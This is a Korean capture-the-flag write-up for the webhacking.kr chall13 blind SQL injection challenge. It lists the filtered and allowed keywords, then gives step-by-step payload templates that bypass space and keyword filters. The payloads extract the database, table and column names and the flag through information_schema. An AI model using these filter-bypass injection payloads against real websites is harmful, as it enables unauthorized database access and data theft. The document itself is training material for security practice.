목표 : Blackbox Blind SQL Injection
SQL Injection을 보여준다.
0을 입력하면 리턴 값이 없고 1은 1을, 나머지 숫자에 대해서는 2를 리턴한다.
FLAG Auth는 password에 인자가 전달된다.
no에는 필터링이 적용돼 있고 password에는 별다른 필터링이 없다.
addslashes가 있는 걸로 유추되고,
공백 and = < > | & 공백 %09 + 0x - * where union group_concat limit등
다음은 가능했다.
or ( ) select from in if length database 등
이정도만 열어놔도 괄호로 공백을 대체하고 or로 앞을 거짓으로 뒤를 if문으로 확인하라는 이야기다
전체 파이썬 코드 (토글)
데이터베이스 이름 길이 및 이름 추출 : chall13
no=(0)or(if(length(database())in({num}),1,0))
no=(0)or(if(ord(substr(database(),1,1))in({char_num}),1,0)) #'c'=99
SQL
복사
이제는 webhacking.kr에 익숙해졌다면 db명은 첫 글자만 구해도 chall13 이라는 걸 예상할 수 있다.
테이블 이름 길이 추출 : 13
if((select(length(min(if((select(table_schema)in(database())),table_name,null))))from(information_schema.tables))in({num}),1,0)
#길이 = 13
SQL
복사
min을 통해 우선 1개의 테이블 길이를 반환하도록 했다.
group_concat limit이 막혀있는 만큼 한 번에 보고 추출하는 방법은 없어 테이블이 여러개일 경우 방법을 따로 강구해야한다.
테이블 이름 추출
if((select(substr(min(if((select(table_schema)in(database())),table_name,null)),1,1))
from(information_schema.tables))in(str(bin({num}))),1,0)
#num = 33-133
#테이블명 = flag_ab733768
SQL
복사
동일한 방식으로 진행한다. hex값이 막혀있어 2진수 값으로 비교했다.
컬럼 이름 길이 추출
if((select(length(min(if((select(table_name)in({table_name_binary_num})),column_name,null)))) from(information_schema.columns))in({num}),1,0)
SQL
복사
컬럼 이름 추출
if((select(substr(min(if((select(table_name)in({table_name_binary_num})),column_name,null)),1,1)) from(information_schema.columns))in(str(bin({num}))),1,0)
SQL
복사
플래그 길이 추출
if((select(length(max({Column_name})))from({DB_name}.{Table_name}))in({num}),1,0)
SQL
복사
플래그 이름 추출
if((select(substr(max({Column_name},1,1)))from({DB_name}.{Table_name}))in(bin({num})),1,0)
SQL
복사